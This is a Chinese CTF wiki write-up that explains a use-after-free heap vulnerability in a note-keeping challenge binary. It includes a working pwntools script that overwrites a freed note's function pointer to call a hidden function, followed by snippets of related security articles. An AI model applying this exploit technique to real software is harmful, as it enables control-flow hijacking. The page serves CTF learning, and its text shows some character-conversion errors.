ctf_wiki
剛學堆,學到了uaf(use after free)漏洞,uaf本質是free後,並沒有把指標指向null,導致free後,指標還可被使用。用2016 hctf fheap來說明一下。題目也在參考鏈結裡。
看到這個程式實現了3個功能,add note,delete not,print note。
在add_note函式中找到了malloc函式,可以看出,最多只能新增5個note。
並且每個note都會先malloc(8)。前四個位元組是put,指向print_note_content函式,用來列印content,後四個位元組是content,存放著內容。並且content也是由malloc分配。
再看看del_note函式。可以看到這裡free了兩次,第一次free掉note->content。第二次free掉note。我們發現並沒有把note置null。導致free後我們還可以再次使用。
而且還發現了magic函式。
存在uaf漏洞。
首先分配note0,content大小為32位元組。
再次分配note1,content大小為32位元組。
free(note0),存入fast bin chunk(fastbins 是單向鍊錶)
free(note1),存入fast bin chunk
再次分配note2,content大小為8位元組。因為note1是最後free的,所以應該在fastbin的末尾,當分配note2時,第乙個malloc會先把note1的八個位元組拿過來,當第二次malloc(8)的時候,會把note0的八個位元組拿過來,因為當malloc的時候,首先會匹配大小相同的chunk。
此時,note2的content指向note0->put。我們在note2的content輸入magic的位址,則覆蓋note0->put的位址,即當我們呼叫note->put列印訊息時,就會呼叫magci函式。
自己定義了乙個flag檔案。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
r = process('./hacknote')
def addnote(size, content):
r.recvuntil("")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
magic = 0x08048986
addnote(32, "aaaa")#分配note0
addnote(32, "bbbb")#分配note1
delnote(0)#free(note0)
delnote(1)#free(note1)
addnote(8, p32(magic))#覆蓋note0->put
printnote(0)#呼叫note0->put,則呼叫magic函式
若有**錯誤,望指正!
初探 Metasploit 漏洞框架
metasploit 就是乙個漏洞框架。它的全稱叫做 the metasploit framework,簡稱叫做 msf。metasploit 作為全球最受歡迎的工具,不僅僅是因為它的方便性和強大性,更重要的是它的框架。它允許使用者開發自己的漏洞指令碼,從而進行測試。幾乎任何公開通用漏洞都會被新增到...
Android Fuzz 漏洞挖掘初探
最近因為某些原因,主要看了幾乎能找到的安卓相關的fuzz指令碼。當然時間原因具體實際測試的並不是特別多,下面就發現的一些問題,以及個人想法分享一下。1 binder 機制 android的binder機制 binder其實也不是android提出來的一套新的程序間通訊機制,它是基於openbinde...
FeitecCMS V2 0漏洞及修復
title feiteccms v2.0 漏洞 time 2011 09 23 team makebugs author 緣分 ps在分析之前,沒看什麼時候的 分析完畢了才知道很老了。所以就大概簡略分析一下。makebug micropoor 163.com inc ft sqlin.asp 直接寫...